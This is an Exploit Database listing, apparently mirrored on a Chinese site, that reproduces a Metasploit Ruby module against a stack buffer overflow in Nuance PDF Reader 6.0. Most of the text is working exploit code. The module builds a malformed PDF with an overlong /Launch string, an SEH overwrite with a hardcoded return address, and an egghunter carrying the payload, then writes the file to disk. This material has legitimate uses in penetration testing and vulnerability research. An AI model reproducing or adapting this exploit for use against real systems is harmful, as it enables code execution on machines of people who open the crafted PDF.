Nuance PDF Reader 6.0 – Launch Stack Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2011-01-08
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16679/

• ##
  # $Id: nuance_pdf_launch_overflow.rb 11516 2011-01-08 01:13:26Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::FILEFORMAT
  	include Msf::Exploit::Egghunter
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'		=> 'Nuance PDF Reader v6.0 Launch Stack Buffer Overflow',
  			'Description' 	=> %q{
  					This module exploits a stack buffer overflow in Nuance PDF Reader v6.0. The vulnerability is
  					triggered when opening a malformed PDF file that contains an overly long string in a /Launch field. This results in overwriting a structured exception handler record.
  					This exploit does not use javascript.
  			},
  			'License'	=> MSF_LICENSE,
  			'Version'=> "$Revision: 11516 $",
  			'Author'	=>
  				[
  					'corelanc0d3r',
  					'rick2600',
  				],
  			'References' =>
  				[
  					[ 'OSVDB', '68514'],
  					[ 'URL', 'http://www.corelan.be:8800/index.php/forum/security-advisories/corelan-10-062-stack-buffer-overflow-in-nuance-pdf-reader-v6-0/' ]
  				],
  			'Payload'	=>
  				{
  					'BadChars'	=> "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x22\x28\x29\x2F\x5c\x3c\x3e\x5e\x7e",
  
  				},
  			'Platform'	=> 'win',
  			'Targets'	=>
  				[
  					[ 'Nuance PDF Reader v6.x (XP SP3)', { 'Ret' =>0x10191579, 'Offset' => 1290 } ] #ppr - pluscore.dll
  				],
  			'DisclosureDate' => 'Oct 08 2010',
  			'DefaultTarget'	=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ false, 'The output filename.', 'corelannuance.pdf'])
  			], self.class)
  	end
  
  	def exploit
  
  		file_name = datastore['FILENAME']
  
  		badchars=""
  		eggoptions =
  		{
  		:checksum => true,
  		:eggtag => "w00t"
  		}
  		hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)
  
  		pdfpart1 = "%PDF-1.4\n"
  		pdfpart1 << "1 0 obj\n"
  		pdfpart1 << "<</Type/Page/Parent 4 0 R /Resources 6 0 R /MediaBox[ 0 0 000 000]"
  		pdfpart1 << "/Group<</S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R "
  		pdfpart1 << "/Annots[ 24 0 R25 0 R9 0 R ]>>\n"
  		pdfpart1 << "endobj\n"
  		pdfpart1 << "4 0 obj\n"
  		pdfpart1 << "<</Type/Pages/Resources 6 0 R /MediaBox[ 0 0 000 000]/Kids[ 1 0 R ]/Count 1>>\n"
  		pdfpart1 << "endobj\n"
  		pdfpart1 << "7 0 obj\n"
  		pdfpart1 << "<</Type/Catalog/Pages 4 0 R /OpenAction[ 1 0 R /XYZ null null 0]/Lang(en-US)/Names 28 0 R >>\n"
  		pdfpart1 << "endobj\n"
  		pdfpart1 << "9 0 obj\n"
  		pdfpart1 << "<</Type/Annot/Subtype/Screen/P 1 0 R /M(E:000000000000000-00'00')/F 4/Rect[ "
  		pdfpart1 << "000.000 000.000 000.000 000.000]/BS<</S/S/W 1>>/BE<</S/S>>/MK<</BC[ 0 0 1]"
  		pdfpart1 << "/R 0/IF<</SW/A/S/A/FB false/A[ 0.5 0.5]>>>>/AP<</N 10 0 R >>/T()/A 12 0 R /AA 17 0 R >>\n"
  		pdfpart1 << "endobj\n"
  		pdfpart1 << "16 0 obj\n"
  		pdfpart1 << "<</Type/Action/S/Launch/F<</F(/C/"
  
  		pdfpart2 = ")>>/NewWindow true>>\n"
  		pdfpart2 << "endobj\n"
  		pdfpart2 << "17 0 obj\n"
  		pdfpart2 << "<</PV 16 0 R >>\n"
  		pdfpart2 << "endobj\n"
  		pdfpart2 << "trailer\n"
  		pdfpart2 << "<</Root 7 0 R /Info 8 0 R /ID[<00000000000000000000000000000000><00000000000000000000000000000000>]"
  		pdfpart2 << "/DocChecksum/00000000000000000000000000000000/Size 31>>\n"
  		pdfpart2 << "startxref\n"
  		pdfpart2 << "0000\n"
  		pdfpart2 << "%%EOF\n"
  
  		buffer = "\x01" * target['Offset']
  		nseh = "\xeb\x06\x41\x41"
  		seh = [target.ret].pack('V')
  		buffer2 = "\x01" * (6908 - hunter.length - egg.length)
  
  		tweakhunter = "\x5a"
  
  		makepdf = pdfpart1 + buffer + nseh + seh + tweakhunter + hunter + egg + buffer2 + pdfpart2
  
  		print_status("Creating '#{datastore['FILENAME']}' file...")
  		file_create(makepdf)
  
  	end
  
  end